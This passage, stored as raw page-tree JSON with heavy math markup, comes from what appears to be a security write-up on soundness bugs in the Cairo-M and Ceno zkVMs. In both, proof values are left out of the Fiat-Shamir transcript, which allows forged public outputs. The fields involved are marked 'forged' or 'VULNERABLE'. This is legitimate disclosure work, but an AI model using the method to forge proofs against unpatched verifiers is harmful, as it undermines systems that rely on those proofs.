initial_registers: { pc, fp },\n final_registers: { pc, fp }, // \u003C- forged\n clock, // \u003C- forged\n initial_root, \n final_root, // \u003C- forged\n public_memory: { program, input, output }, //output modified\n },\n stark_proof: [...],\n}\n",[116418],{"type":23,"tag":38,"props":116419,"children":116420},{"__ignoreMap":7},[116421],{"type":29,"value":116416},{"type":23,"tag":32,"props":116423,"children":116424},{},[116425],{"type":23,"tag":3998,"props":116426,"children":116427},{},[116428],{"type":29,"value":113964},{"type":23,"tag":32,"props":116430,"children":116431},{},[116432],{"type":23,"tag":2591,"props":116433,"children":116436},{"alt":116434,"src":116435},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":23,"tag":32,"props":116438,"children":116439},{},[116440,116442,116448],{"type":29,"value":116441},"Lookup challenges are derived without ",{"type":23,"tag":38,"props":116443,"children":116445},{"className":116444},[],[116446],{"type":29,"value":116447},"public_data",{"type":29,"value":116449}," being mixed into the transcript.",{"type":23,"tag":32,"props":116451,"children":116452},{},[116453,116454,116459,116461,116466],{"type":29,"value":388},{"type":23,"tag":38,"props":116455,"children":116457},{"className":116456},[],[116458],{"type":29,"value":116447},{"type":29,"value":116460}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":23,"tag":47,"props":116462,"children":116463},{},[116464],{"type":29,"value":116465},"denominators",{"type":29,"value":116467}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":23,"tag":32,"props":116469,"children":116470},{},[116471],{"type":23,"tag":38,"props":116472,"children":116474},{"className":116473},[2658,2659],[116475],{"type":23,"tag":141,"props":116476,"children":116478},{"className":116477},[2664],[116479],{"type":23,"tag":141,"props":116480,"children":116482},{"className":116481,"ariaHidden":2670},[2669],[116483,116543,116589,116635],{"type":23,"tag":141,"props":116484,"children":116486},{"className":116485},[2675],[116487,116491,116497,116502,116511,116516,116525,116530,116534,116539],{"type":23,"tag":141,"props":116488,"children":116490},{"className":116489,"style":91474},[2680],[],{"type":23,"tag":141,"props":116492,"children":116494},{"className":116493},[2686,20260],[116495],{"type":29,"value":116496},"L",{"type":23,"tag":141,"props":116498,"children":116500},{"className":116499},[20389],[116501],{"type":29,"value":192},{"type":23,"tag":141,"props":116503,"children":116505},{"className":116504},[2686,29],[116506],{"type":23,"tag":141,"props":116507,"children":116509},{"className":116508},[2686],[116510],{"type":29,"value":60156},{"type":23,"tag":141,"props":116512,"children":116514},{"className":116513,"style":91532},[2686],[116515],{"type":29,"value":1743},{"type":23,"tag":141,"props":116517,"children":116519},{"className":116518},[2686,29],[116520],{"type":23,"tag":141,"props":116521,"children":116523},{"className":116522},[2686],[116524],{"type":29,"value":2367},{"type":23,"tag":141,"props":116526,"children":116528},{"className":116527},[20411],[116529],{"type":29,"value":1788},{"type":23,"tag":141,"props":116531,"children":116533},{"className":116532,"style":2767},[2766],[],{"type":23,"tag":141,"props":116535,"children":116537},{"className":116536},[2772],[116538],{"type":29,"value":3058},{"type":23,"tag":141,"props":116540,"children":116542},{"className":116541,"style":2767},[2766],[],{"type":23,"tag":141,"props":116544,"children":116546},{"className":116545},[2675],[116547,116551,116561,116566,116576,116580,116585],{"type":23,"tag":141,"props":116548,"children":116550},{"className":116549,"style":91474},[2680],[],{"type":23,"tag":141,"props":116552,"children":116554},{"className":116553},[2686,29],[116555],{"type":23,"tag":141,"props":116556,"children":116558},{"className":116557},[2686],[116559],{"type":29,"value":116560},"(other transcript",{"type":23,"tag":141,"props":116562,"children":116564},{"className":116563,"style":91532},[2686],[116565],{"type":29,"value":1743},{"type":23,"tag":141,"props":116567,"children":116569},{"className":116568},[2686,29],[116570],{"type":23,"tag":141,"props":116571,"children":116573},{"className":116572},[2686],[116574],{"type":29,"value":116575},"bound terms)",{"type":23,"tag":141,"props":116577,"children":116579},{"className":116578,"style":2863},[2766],[],{"type":23,"tag":141,"props":116581,"children":116583},{"className":116582},[2868],[116584],{"type":29,"value":1377},{"type":23,"tag":141,"props":116586,"children":116588},{"className":116587,"style":2863},[2766],[],{"type":23,"tag":141,"props":116590,"children":116592},{"className":116591},[2675],[116593,116598,116603,116608,116613,116617,116622,116626,116631],{"type":23,"tag":141,"props":116594,"children":116597},{"className":116595,"style":116596},[2680],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":23,"tag":141,"props":116599,"children":116601},{"className":116600},[2686],[116602],{"type":29,"value":2698},{"type":23,"tag":141,"props":116604,"children":116606},{"className":116605},[2798],[116607],{"type":29,"value":512},{"type":23,"tag":141,"props":116609,"children":116612},{"className":116610,"style":116611},[2766],"margin-right:2em;",[],{"type":23,"tag":141,"props":116614,"children":116616},{"className":116615,"style":2804},[2766],[],{"type":23,"tag":141,"props":116618,"children":116620},{"className":116619},[2686,20260],[116621],{"type":29,"value":116496},{"type":23,"tag":141,"props":116623,"children":116625},{"className":116624,"style":2863},[2766],[],{"type":23,"tag":141,"props":116627,"children":116629},{"className":116628},[2868],[116630],{"type":29,"value":1377},{"type":23,"tag":141,"props":116632,"children":116634},{"className":116633,"style":2863},[2766],[],{"type":23,"tag":141,"props":116636,"children":116638},{"className":116637},[2675],[116639,116644,116701,116705,116923],{"type":23,"tag":141,"props":116640,"children":116643},{"className":116641,"style":116642},[2680],"height:1.4071em;vertical-align:-0.562em;",[],{"type":23,"tag":141,"props":116645,"children":116647},{"className":116646},[20296],[116648,116653],{"type":23,"tag":141,"props":116649,"children":116651},{"className":116650,"style":20303},[20296,20301,20302],[116652],{"type":29,"value":107327},{"type":23,"tag":141,"props":116654,"children":116656},{"className":116655},[2702],[116657],{"type":23,"tag":141,"props":116658,"children":116660},{"className":116659},[2707,20314],[116661,116690],{"type":23,"tag":141,"props":116662,"children":116664},{"className":116663},[2712],[116665,116685],{"type":23,"tag":141,"props":116666,"children":116668},{"className":116667,"style":112739},[2717],[116669],{"type":23,"tag":141,"props":116670,"children":116671},{"style":20327},[116672,116676],{"type":23,"tag":141,"props":116673,"children":116675},{"className":116674,"style":2727},[2726],[],{"type":23,"tag":141,"props":116677,"children":116679},{"className":116678},[2732,2733,2734,2735],[116680],{"type":23,"tag":141,"props":116681,"children":116683},{"className":116682},[2686,20260,2735],[116684],{"type":29,"value":2404},{"type":23,"tag":141,"props":116686,"children":116688},{"className":116687},[20417],[116689],{"type":29,"value":20420},{"type":23,"tag":141,"props":116691,"children":116693},{"className":116692},[2712],[116694],{"type":23,"tag":141,"props":116695,"children":116697},{"className":116696,"style":113019},[2717],[116698],{"type":23,"tag":141,"props":116699,"children":116700},{},[],{"type":23,"tag":141,"props":116702,"children":116704},{"className":116703,"style":2804},[2766],[],{"type":23,"tag":141,"props":116706,"children":116708},{"className":116707},[2686],[116709,116713,116919],{"type":23,"tag":141,"props":116710,"children":116712},{"className":116711},[20389,112050],[],{"type":23,"tag":141,"props":116714,"children":116716},{"className":116715},[112055],[116717],{"type":23,"tag":141,"props":116718,"children":116720},{"className":116719},[2707,20314],[116721,116907],{"type":23,"tag":141,"props":116722,"children":116724},{"className":116723},[2712],[116725,116902],{"type":23,"tag":141,"props":116726,"children":116728},{"className":116727,"style":112068},[2717],[116729,116871,116882],{"type":23,"tag":141,"props":116730,"children":116731},{"style":112072},[116732,116736],{"type":23,"tag":141,"props":116733,"children":116735},{"className":116734,"style":110703},[2726],[],{"type":23,"tag":141,"props":116737,"children":116739},{"className":116738},[2732,2733,2734,2735],[116740],{"type":23,"tag":141,"props":116741,"children":116743},{"className":116742},[2686,2735],[116744,116749,116754,116760,116765,116770,116827,116832,116841,116846,116855,116861,116866],{"type":23,"tag":141,"props":116745,"children":116747},{"className":116746,"style":112089},[2686,20260,2735],[116748],{"type":29,"value":112092},{"type":23,"tag":141,"props":116750,"children":116752},{"className":116751},[2772,2735],[116753],{"type":29,"value":3058},{"type":23,"tag":141,"props":116755,"children":116757},{"className":116756},[20389,2735],[116758],{"type":29,"value":116759},"⟨",{"type":23,"tag":141,"props":116761,"children":116763},{"className":116762,"style":113620},[2686,20260,2735],[116764],{"type":29,"value":113623},{"type":23,"tag":141,"props":116766,"children":116768},{"className":116767},[2798,2735],[116769],{"type":29,"value":512},{"type":23,"tag":141,"props":116771,"children":116773},{"className":116772},[2686,2735],[116774,116779],{"type":23,"tag":141,"props":116775,"children":116777},{"className":116776},[2686,20260,2735],[116778],{"type":29,"value":20402},{"type":23,"tag":141,"props":116780,"children":116782},{"className":116781},[2702],[116783],{"type":23,"tag":141,"props":116784,"children":116786},{"className":116785},[2707,20314],[116787,116816],{"type":23,"tag":141,"props":116788,"children":116790},{"className":116789},[2712],[116791,116811],{"type":23,"tag":141,"props":116792,"children":116794},{"className":116793,"style":112856},[2717],[116795],{"type":23,"tag":141,"props":116796,"children":116797},{"style":107387},[116798,116802],{"type":23,"tag":141,"props":116799,"children":116801},{"className":116800,"style":107392},[2726],[],{"type":23,"tag":141,"props":116803,"children":116805},{"className":116804},[2732,107397,107398,2735],[116806],{"type":23,"tag":141,"props":116807,"children":116809},{"className":116808},[2686,20260,2735],[116810],{"type":29,"value":2404},{"type":23,"tag":141,"props":116812,"children":116814},{"className":116813},[20417],[116815],{"type":29,"value":20420},{"type":23,"tag":141,"props":116817,"children":116819},{"className":116818},[2712],[116820],{"type":23,"tag":141,"props":116821,"children":116823},{"className":116822,"style":107417},[2717],[116824],{"type":23,"tag":141,"props":116825,"children":116826},{},[],{"type":23,"tag":141,"props":116828,"children":116830},{"className":116829},[20389,2735],[116831],{"type":29,"value":192},{"type":23,"tag":141,"props":116833,"children":116835},{"className":116834},[2686,29,2735],[116836],{"type":23,"tag":141,"props":116837,"children":116839},{"className":116838},[2686,2735],[116840],{"type":29,"value":60156},{"type":23,"tag":141,"props":116842,"children":116844},{"className":116843,"style":91532},[2686,2735],[116845],{"type":29,"value":1743},{"type":23,"tag":141,"props":116847,"children":116849},{"className":116848},[2686,29,2735],[116850],{"type":23,"tag":141,"props":116851,"children":116853},{"className":116852},[2686,2735],[116854],{"type":29,"value":2367},{"type":23,"tag":141,"props":116856,"children":116858},{"className":116857},[20411,2735],[116859],{"type":29,"value":116860},")⟩",{"type":23,"tag":141,"props":116862,"children":116864},{"className":116863},[2772,2735],[116865],{"type":29,"value":3058},{"type":23,"tag":141,"props":116867,"children":116869},{"className":116868,"style":113675},[2686,20260,2735],[116870],{"type":29,"value":113678},{"type":23,"tag":141,"props":116872,"children":116873},{"style":112105},[116874,116878],{"type":23,"tag":141,"props":116875,"children":116877},{"className":116876,"style":110703},[2726],[],{"type":23,"tag":141,"props":116879,"children":116881},{"className":116880,"style":112115},[112114],[],{"type":23,"tag":141,"props":116883,"children":116884},{"style":112119},[116885,116889],{"type":23,"tag":141,"props":116886,"children":116888},{"className":116887,"style":110703},[2726],[],{"type":23,"tag":141,"props":116890,"children":116892},{"className":116891},[2732,2733,2734,2735],[116893],{"type":23,"tag":141,"props":116894,"children":116896},{"className":116895},[2686,2735],[116897],{"type":23,"tag":141,"props":116898,"children":116900},{"className":116899},[2686,2735],[116901],{"type":29,"value":687},{"type":23,"tag":141,"props":116903,"children":116905},{"className":116904},[20417],[116906],{"type":29,"value":20420},{"type":23,"tag":141,"props":116908,"children":116910},{"className":116909},[2712],[116911],{"type":23,"tag":141,"props":116912,"children":116915},{"className":116913,"style":116914},[2717],"height:0.562em;",[116916],{"type":23,"tag":141,"props":116917,"children":116918},{},[],{"type":23,"tag":141,"props":116920,"children":116922},{"className":116921},[20411,112050],[],{"type":23,"tag":141,"props":116924,"children":116926},{"className":116925},[2686],[116927],{"type":29,"value":322},{"type":23,"tag":32,"props":116929,"children":116930},{},[116931,116933],{"type":29,"value":116932},"The global check is then that ",{"type":23,"tag":38,"props":116934,"children":116936},{"className":116935},[2658,2659],[116937],{"type":23,"tag":141,"props":116938,"children":116940},{"className":116939},[2664],[116941],{"type":23,"tag":141,"props":116942,"children":116944},{"className":116943,"ariaHidden":2670},[2669],[116945,116986,117017],{"type":23,"tag":141,"props":116946,"children":116948},{"className":116947},[2675],[116949,116953,116958,116963,116968,116973,116977,116982],{"type":23,"tag":141,"props":116950,"children":116952},{"className":116951,"style":2787},[2680],[],{"type":23,"tag":141,"props":116954,"children":116956},{"className":116955},[2686,20260],[116957],{"type":29,"value":116496},{"type":23,"tag":141,"props":116959,"children":116961},{"className":116960},[20389],[116962],{"type":29,"value":192},{"type":23,"tag":141,"props":116964,"children":116966},{"className":116965},[2686,20260],[116967],{"type":29,"value":32},{"type":23,"tag":141,"props":116969,"children":116971},{"className":116970},[20411],[116972],{"type":29,"value":1788},{"type":23,"tag":141,"props":116974,"children":116976},{"className":116975,"style":2767},[2766],[],{"type":23,"tag":141,"props":116978,"children":116980},{"className":116979},[2772],[116981],{"type":29,"value":3058},{"type":23,"tag":141,"props":116983,"children":116985},{"className":116984,"style":2767},[2766],[],{"type":23,"tag":141,"props":116987,"children":116989},{"className":116988},[2675],[116990,116994,117004,117008,117013],{"type":23,"tag":141,"props":116991,"children":116993},{"className":116992,"style":2787},[2680],[],{"type":23,"tag":141,"props":116995,"children":116997},{"className":116996},[2686,29],[116998],{"type":23,"tag":141,"props":116999,"children":117001},{"className":117000},[2686],[117002],{"type":29,"value":117003},"(other terms)",{"type":23,"tag":141,"props":117005,"children":117007},{"className":117006,"style":2863},[2766],[],{"type":23,"tag":141,"props":117009,"children":117011},{"className":117010},[2868],[117012],{"type":29,"value":1377},{"type":23,"tag":141,"props":117014,"children":117016},{"className":117015,"style":2863},[2766],[],{"type":23,"tag":141,"props":117018,"children":117020},{"className":117019},[2675],[117021,117025],{"type":23,"tag":141,"props":117022,"children":117024},{"className":117023,"style":92563},[2680],[],{"type":23,"tag":141,"props":117026,"children":117028},{"className":117027},[2686],[117029],{"type":29,"value":2698},{"type":23,"tag":32,"props":117031,"children":117032},{},[117033],{"type":29,"value":117034},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":23,"tag":32,"props":117036,"children":117037},{},[117038],{"type":29,"value":117039},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":23,"tag":32,"props":117041,"children":117042},{},[117043,117047,117049],{"type":23,"tag":3998,"props":117044,"children":117045},{},[117046],{"type":29,"value":115242},{"type":29,"value":117048}," Fixed on October 31, 2025 via ",{"type":23,"tag":55,"props":117050,"children":117053},{"href":117051,"rel":117052},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[59],[117054],{"type":29,"value":117055},"commit 92b6740",{"type":23,"tag":17463,"props":117057,"children":117058},{},[],{"type":23,"tag":8287,"props":117060,"children":117062},{"id":117061},"ceno-scroll",[117063],{"type":29,"value":117064},"Ceno (Scroll)",{"type":23,"tag":32,"props":117066,"children":117067},{},[117068],{"type":29,"value":117069},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":23,"tag":32,"props":117071,"children":117072},{},[117073,117075,117080],{"type":29,"value":117074},"Ceno splits verification into ",{"type":23,"tag":3998,"props":117076,"children":117077},{},[117078],{"type":29,"value":117079},"chips",{"type":29,"value":117081},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":23,"tag":32,"props":117083,"children":117084},{},[117085,117087,117092],{"type":29,"value":117086},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":23,"tag":3998,"props":117088,"children":117089},{},[117090],{"type":29,"value":117091},"tower sumcheck",{"type":29,"value":322},{"type":23,"tag":32,"props":117094,"children":117095},{},[117096],{"type":29,"value":117097},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":23,"tag":32,"props":117099,"children":117100},{},[117101],{"type":23,"tag":38,"props":117102,"children":117104},{"className":117103},[2658,2659],[117105],{"type":23,"tag":141,"props":117106,"children":117108},{"className":117107},[2664],[117109],{"type":23,"tag":141,"props":117110,"children":117112},{"className":117111,"ariaHidden":2670},[2669],[117113,117287,117460],{"type":23,"tag":141,"props":117114,"children":117116},{"className":117115},[2675],[117117,117121,117179,117183,117192,117197,117207,117212,117274,117278,117283],{"type":23,"tag":141,"props":117118,"children":117120},{"className":117119,"style":91474},[2680],[],{"type":23,"tag":141,"props":117122,"children":117124},{"className":117123},[20296],[117125,117131],{"type":23,"tag":141,"props":117126,"children":117128},{"className":117127,"style":20303},[20296,20301,20302],[117129],{"type":29,"value":117130},"∏",{"type":23,"tag":141,"props":117132,"children":117134},{"className":117133},[2702],[117135],{"type":23,"tag":141,"props":117136,"children":117138},{"className":117137},[2707,20314],[117139,117168],{"type":23,"tag":141,"props":117140,"children":117142},{"className":117141},[2712],[117143,117163],{"type":23,"tag":141,"props":117144,"children":117146},{"className":117145,"style":112739},[2717],[117147],{"type":23,"tag":141,"props":117148,"children":117149},{"style":20327},[117150,117154],{"type":23,"tag":141,"props":117151,"children":117153},{"className":117152,"style":2727},[2726],[],{"type":23,"tag":141,"props":117155,"children":117157},{"className":117156},[2732,2733,2734,2735],[117158],{"type":23,"tag":141,"props":117159,"children":117161},{"className":117160},[2686,20260,2735],[117162],{"type":29,"value":2404},{"type":23,"tag":141,"props":117164,"children":117166},{"className":117165},[20417],[117167],{"type":29,"value":20420},{"type":23,"tag":141,"props":117169,"children":117171},{"className":117170},[2712],[117172],{"type":23,"tag":141,"props":117173,"children":117175},{"className":117174,"style":113019},[2717],[117176],{"type":23,"tag":141,"props":117177,"children":117178},{},[],{"type":23,"tag":141,"props":117180,"children":117182},{"className":117181,"style":2804},[2766],[],{"type":23,"tag":141,"props":117184,"children":117186},{"className":117185},[2686,29],[117187],{"type":23,"tag":141,"props":117188,"children":117190},{"className":117189},[2686],[117191],{"type":29,"value":92351},{"type":23,"tag":141,"props":117193,"children":117195},{"className":117194,"style":91532},[2686],[117196],{"type":29,"value":1743},{"type":23,"tag":141,"props":117198,"children":117200},{"className":117199},[2686,29],[117201],{"type":23,"tag":141,"props":117202,"children":117204},{"className":117203},[2686],[117205],{"type":29,"value":117206},"out",{"type":23,"tag":141,"props":117208,"children":117210},{"className":117209,"style":91532},[2686],[117211],{"type":29,"value":1743},{"type":23,"tag":141,"props":117213,"children":117215},{"className":117214},[2686],[117216,117226],{"type":23,"tag":141,"props":117217,"children":117219},{"className":117218},[2686,29],[117220],{"type":23,"tag":141,"props":117221,"children":117223},{"className":117222},[2686],[117224],{"type":29,"value":117225},"evals",{"type":23,"tag":141,"props":117227,"children":117229},{"className":117228},[2702],[117230],{"type":23,"tag":141,"props":117231,"children":117233},{"className":117232},[2707,20314],[117234,117263],{"type":23,"tag":141,"props":117235,"children":117237},{"className":117236},[2712],[117238,117258],{"type":23,"tag":141,"props":117239,"children":117241},{"className":117240,"style":92061},[2717],[117242],{"type":23,"tag":141,"props":117243,"children":117244},{"style":112662},[117245,117249],{"type":23,"tag":141,"props":117246,"children":117248},{"className":117247,"style":2727},[2726],[],{"type":23,"tag":141,"props":117250,"children":117252},{"className":117251},[2732,2733,2734,2735],[117253],{"type":23,"tag":141,"props":117254,"children":117256},{"className":117255},[2686,20260,2735],[117257],{"type":29,"value":2404},{"type":23,"tag":141,"props":117259,"children":117261},{"className":117260},[20417],[117262],{"type":29,"value":20420},{"type":23,"tag":141,"props":117264,"children":117266},{"className":117265},[2712],[117267],{"type":23,"tag":141,"props":117268,"children":117270},{"className":117269,"style":91615},[2717],[117271],{"type":23,"tag":141,"props":117272,"children":117273},{},[],{"type":23,"tag":141,"props":117275,"children":117277},{"className":117276,"style":2863},[2766],[],{"type":23,"tag":141,"props":117279,"children":117281},{"className":117280},[2868],[117282],{"type":29,"value":1377},{"type":23,"tag":141,"props":117284,"children":117286},{"className":117285,"style":2863},[2766],[],{"type":23,"tag":141,"props":117288,"children":117290},{"className":117289},[2675],[117291,117296,117353,117357,117366,117371,117380,117385,117447,117451,117456],{"type":23,"tag":141,"props":117292,"children":117295},{"className":117293,"style":117294},[2680],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":23,"tag":141,"props":117297,"children":117299},{"className":117298},[20296],[117300,117305],{"type":23,"tag":141,"props":117301,"children":117303},{"className":117302,"style":20303},[20296,20301,20302],[117304],{"type":29,"value":117130},{"type":23,"tag":141,"props":117306,"children":117308},{"className":117307},[2702],[117309],{"type":23,"tag":141,"props":117310,"children":117312},{"className":117311},[2707,20314],[117313,117342],{"type":23,"tag":141,"props":117314,"children":117316},{"className":117315},[2712],[117317,117337],{"type":23,"tag":141,"props":117318,"children":117320},{"className":117319,"style":112739},[2717],[117321],{"type":23,"tag":141,"props":117322,"children":117323},{"style":20327},[117324,117328],{"type":23,"tag":141,"props":117325,"children":117327},{"className":117326,"style":2727},[2726],[],{"type":23,"tag":141,"props":117329,"children":117331},{"className":117330},[2732,2733,2734,2735],[117332],{"type":23,"tag":141,"props":117333,"children":117335},{"className":117334,"style":112755},[2686,20260,2735],[117336],{"type":29,"value":7332},{"type":23,"tag":141,"props":117338,"children":117340},{"className":117339},[20417],[117341],{"type":29,"value":20420},{"type":23,"tag":141,"props":117343,"children":117345},{"className":117344},[2712],[117346],{"type":23,"tag":141,"props":117347,"children":117349},{"className":117348,"style":112770},[2717],[117350],{"type":23,"tag":141,"props":117351,"children":117352},{},[],{"type":23,"tag":141,"props":117354,"children":117356},{"className":117355,"style":2804},[2766],[],{"type":23,"tag":141,"props":117358,"children":117360},{"className":117359},[2686,29],[117361],{"type":23,"tag":141,"props":117362,"children":117364},{"className":117363},[2686],[117365],{"type":29,"value":48050},{"type":23,"tag":141,"props":117367,"children":117369},{"className":117368,"style":91532},[2686],[117370],{"type":29,"value":1743},{"type":23,"tag":141,"props":117372,"children":117374},{"className":117373},[2686,29],[117375],{"type":23,"tag":141,"props":117376,"children":117378},{"className":117377},[2686],[117379],{"type":29,"value":117206},{"type":23,"tag":141,"props":117381,"children":117383},{"className":117382,"style":91532},[2686],[117384],{"type":29,"value":1743},{"type":23,"tag":141,"props":117386,"children":117388},{"className":117387},[2686],[117389,117398],{"type":23,"tag":141,"props":117390,"children":117392},{"className":117391},[2686,29],[117393],{"type":23,"tag":141,"props":117394,"children":117396},{"className":117395},[2686],[117397],{"type":29,"value":117225},{"type":23,"tag":141,"props":117399,"children":117401},{"className":117400},[2702],[117402],{"type":23,"tag":141,"props":117403,"children":117405},{"className":117404},[2707,20314],[117406,117435],{"type":23,"tag":141,"props":117407,"children":117409},{"className":117408},[2712],[117410,117430],{"type":23,"tag":141,"props":117411,"children":117413},{"className":117412,"style":92061},[2717],[117414],{"type":23,"tag":141,"props":117415,"children":117416},{"style":112662},[117417,117421],{"type":23,"tag":141,"props":117418,"children":117420},{"className":117419,"style":2727},[2726],[],{"type":23,"tag":141,"props":117422,"children":117424},{"className":117423},[2732,2733,2734,2735],[117425],{"type":23,"tag":141,"props":117426,"children":117428},{"className":117427,"style":112755},[2686,20260,2735],[117429],{"type":29,"value":7332},{"type":23,"tag":141,"props":117431,"children":117433},{"className":117432},[20417],[117434],{"type":29,"value":20420},{"type":23,"tag":141,"props":117436,"children":117438},{"className":117437},[2712],[117439],{"type":23,"tag":141,"props":117440,"children":117443},{"className":117441,"style":117442},[2717],"height:0.2861em;",[117444],{"type":23,"tag":141,"props":117445,"children":117446},{},[],{"type":23,"tag":141,"props":117448,"children":117450},{"className":117449,"style":2767},[2766],[],{"type":23,"tag":141,"props":117452,"children":117454},{"className":117453},[2772],[117455],{"type":29,"value":109794},{"type":23,"tag":141,"props":117457,"children":117459},{"className":117458,"style":2767},[2766],[],{"type":23,"tag":141,"props":117461,"children":117463},{"className":117462},[2675],[117464,117468,117473,117483],{"type":23,"tag":141,"props":117465,"children":117467},{"className":117466,"style":2787},[2680],[],{"type":23,"tag":141,"props":117469,"children":117471},{"className":117470},[20389],[117472],{"type":29,"value":192},{"type":23,"tag":141,"props":117474,"children":117476},{"className":117475},[2686,29],[117477],{"type":23,"tag":141,"props":117478,"children":117480},{"className":117479},[2686],[117481],{"type":29,"value":117482},"state factors",{"type":23,"tag":141,"props":117484,"children":117486},{"className":117485},[20411],[117487],{"type":29,"value":1788},{"type":23,"tag":32,"props":117489,"children":117490},{},[117491],{"type":23,"tag":3998,"props":117492,"children":117493},{},[117494],{"type":29,"value":113948},{"type":23,"tag":131,"props":117496,"children":117498},{"code":117497},"ZKVMChipProof {\n r_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n w_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n lk_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n tower_proof: [...],\n gkr_iop_proof: [...],\n}\n",[117499],{"type":23,"tag":38,"props":117500,"children":117501},{"__ignoreMap":7},[117502],{"type":29,"value":117497},{"type":23,"tag":32,"props":117504,"children":117505},{},[117506,117512,117513,117519,117520,117526],{"type":23,"tag":38,"props":117507,"children":117509},{"className":117508},[],[117510],{"type":29,"value":117511},"r_out_evals",{"type":29,"value":480},{"type":23,"tag":38,"props":117514,"children":117516},{"className":117515},[],[117517],{"type":29,"value":117518},"w_out_evals",{"type":29,"value":5161},{"type":23,"tag":38,"props":117521,"children":117523},{"className":117522},[],[117524],{"type":29,"value":117525},"lk_out_evals",{"type":29,"value":117527}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":23,"tag":116,"props":117529,"children":117530},{},[117531],{"type":23,"tag":120,"props":117532,"children":117533},{},[117534,117539,117541,117547],{"type":23,"tag":3998,"props":117535,"children":117536},{},[117537],{"type":29,"value":117538},"GKR/Tower equation",{"type":29,"value":117540}," (linear in ",{"type":23,"tag":38,"props":117542,"children":117544},{"className":117543},[],[117545],{"type":29,"value":117546},"out_evals",{"type":29,"value":22629},{"type":23,"tag":32,"props":117549,"children":117550},{},[117551,117553],{"type":29,"value":117552},"The tower sumcheck claim is ",{"type":23,"tag":38,"props":117554,"children":117556},{"className":117555},[2658,2659],[117557],{"type":23,"tag":141,"props":117558,"children":117560},{"className":117559},[2664],[117561],{"type":23,"tag":141,"props":117562,"children":117564},{"className":117563,"ariaHidden":2670},[2669],[117565,117596,117721],{"type":23,"tag":141,"props":117566,"children":117568},{"className":117567},[2675],[117569,117573,117583,117587,117592],{"type":23,"tag":141,"props":117570,"children":117572},{"className":117571,"style":91447},[2680],[],{"type":23,"tag":141,"props":117574,"children":117576},{"className":117575},[2686,29],[117577],{"type":23,"tag":141,"props":117578,"children":117580},{"className":117579},[2686],[117581],{"type":29,"value":117582},"claim",{"type":23,"tag":141,"props":117584,"children":117586},{"className":117585,"style":2863},[2766],[],{"type":23,"tag":141,"props":117588,"children":117590},{"className":117589},[2868],[117591],{"type":29,"value":1377},{"type":23,"tag":141,"props":117593,"children":117595},{"className":117594,"style":2863},[2766],[],{"type":23,"tag":141,"props":117597,"children":117599},{"className":117598},[2675],[117600,117605,117662,117666,117708,117712,117717],{"type":23,"tag":141,"props":117601,"children":117604},{"className":117602,"style":117603},[2680],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":23,"tag":141,"props":117606,"children":117608},{"className":117607},[20296],[117609,117614],{"type":23,"tag":141,"props":117610,"children":117612},{"className":117611,"style":20303},[20296,20301,20302],[117613],{"type":29,"value":107327},{"type":23,"tag":141,"props":117615,"children":117617},{"className":117616},[2702],[117618],{"type":23,"tag":141,"props":117619,"children":117621},{"className":117620},[2707,20314],[117622,117651],{"type":23,"tag":141,"props":117623,"children":117625},{"className":117624},[2712],[117626,117646],{"type":23,"tag":141,"props":117627,"children":117629},{"className":117628,"style":112739},[2717],[117630],{"type":23,"tag":141,"props":117631,"children":117632},{"style":20327},[117633,117637],{"type":23,"tag":141,"props":117634,"children":117636},{"className":117635,"style":2727},[2726],[],{"type":23,"tag":141,"props":117638,"children":117640},{"className":117639},[2732,2733,2734,2735],[117641],{"type":23,"tag":141,"props":117642,"children":117644},{"className":117643,"style":112755},[2686,20260,2735],[117645],{"type":29,"value":7332},{"type":23,"tag":141,"props":117647,"children":117649},{"className":117648},[20417],[117650],{"type":29,"value":20420},{"type":23,"tag":141,"props":117652,"children":117654},{"className":117653},[2712],[117655],{"type":23,"tag":141,"props":117656,"children":117658},{"className":117657,"style":112770},[2717],[117659],{"type":23,"tag":141,"props":117660,"children":117661},{},[],{"type":23,"tag":141,"props":117663,"children":117665},{"className":117664,"style":2804},[2766],[],{"type":23,"tag":141,"props":117667,"children":117669},{"className":117668},[2686],[117670,117675],{"type":23,"tag":141,"props":117671,"children":117673},{"className":117672,"style":113620},[2686,20260],[117674],{"type":29,"value":113623},{"type":23,"tag":141,"props":117676,"children":117678},{"className":117677},[2702],[117679],{"type":23,"tag":141,"props":117680,"children":117682},{"className":117681},[2707],[117683],{"type":23,"tag":141,"props":117684,"children":117686},{"className":117685},[2712],[117687],{"type":23,"tag":141,"props":117688,"children":117691},{"className":117689,"style":117690},[2717],"height:0.8247em;",[117692],{"type":23,"tag":141,"props":117693,"children":117694},{"style":2721},[117695,117699],{"type":23,"tag":141,"props":117696,"children":117698},{"className":117697,"style":2727},[2726],[],{"type":23,"tag":141,"props":117700,"children":117702},{"className":117701},[2732,2733,2734,2735],[117703],{"type":23,"tag":141,"props":117704,"children":117706},{"className":117705,"style":112755},[2686,20260,2735],[117707],{"type":29,"value":7332},{"type":23,"tag":141,"props":117709,"children":117711},{"className":117710,"style":2767},[2766],[],{"type":23,"tag":141,"props":117713,"children":117715},{"className":117714},[2772],[117716],{"type":29,"value":109794},{"type":23,"tag":141,"props":117718,"children":117720},{"className":117719,"style":2767},[2766],[],{"type":23,"tag":141,"props":117722,"children":117724},{"className":117723},[2675],[117725,117729,117738,117743],{"type":23,"tag":141,"props":117726,"children":117728},{"className":117727,"style":92945},[2680],[],{"type":23,"tag":141,"props":117730,"children":117732},{"className":117731},[2686,